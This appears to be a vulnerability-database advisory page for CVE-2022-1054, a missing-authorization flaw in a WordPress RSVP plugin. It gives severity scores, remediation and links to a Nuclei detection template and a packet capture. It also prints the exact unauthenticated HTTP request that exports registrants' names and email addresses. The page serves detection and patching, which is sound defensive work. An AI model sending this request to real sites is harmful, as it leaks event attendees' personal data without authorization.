🔙 목록으로 돌아가기

CVE-2022-1054: WordPress RSVP and Event Management <2.7.8 - Missing Authorization

TitleWordPress RSVP and Event Management <2.7.8 - Missing Authorization
AuthorAkincibor
SeverityMedium
ImpactAn attacker can exploit this vulnerability to perform unauthorized actions, such as creating, modifying, or deleting events.
RemediationUpdate the WordPress RSVP and Event Management plugin to version 2.7.8 or later.
CVSS Score5.3
EPSS Score0.12369
CVE IDCVE-2022-1054
CWE IDCWE-862
Tags cve cve2022 wordpress wpscan wp wp-plugin wpchill vuln

🔍 Vulnerability Description

WordPress RSVP and Event Management plugin before 2.7.8 is susceptible to missing authorization. The plugin does not have any authorization checks when exporting its entries, and the export function is hooked to the init action. An attacker can potentially retrieve sensitive information such as first name, last name, and email address of users registered for events,

🌐 HTTP Request

GET /wp-admin/admin.php?page=rsvp-admin-export HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1054.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-1054.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A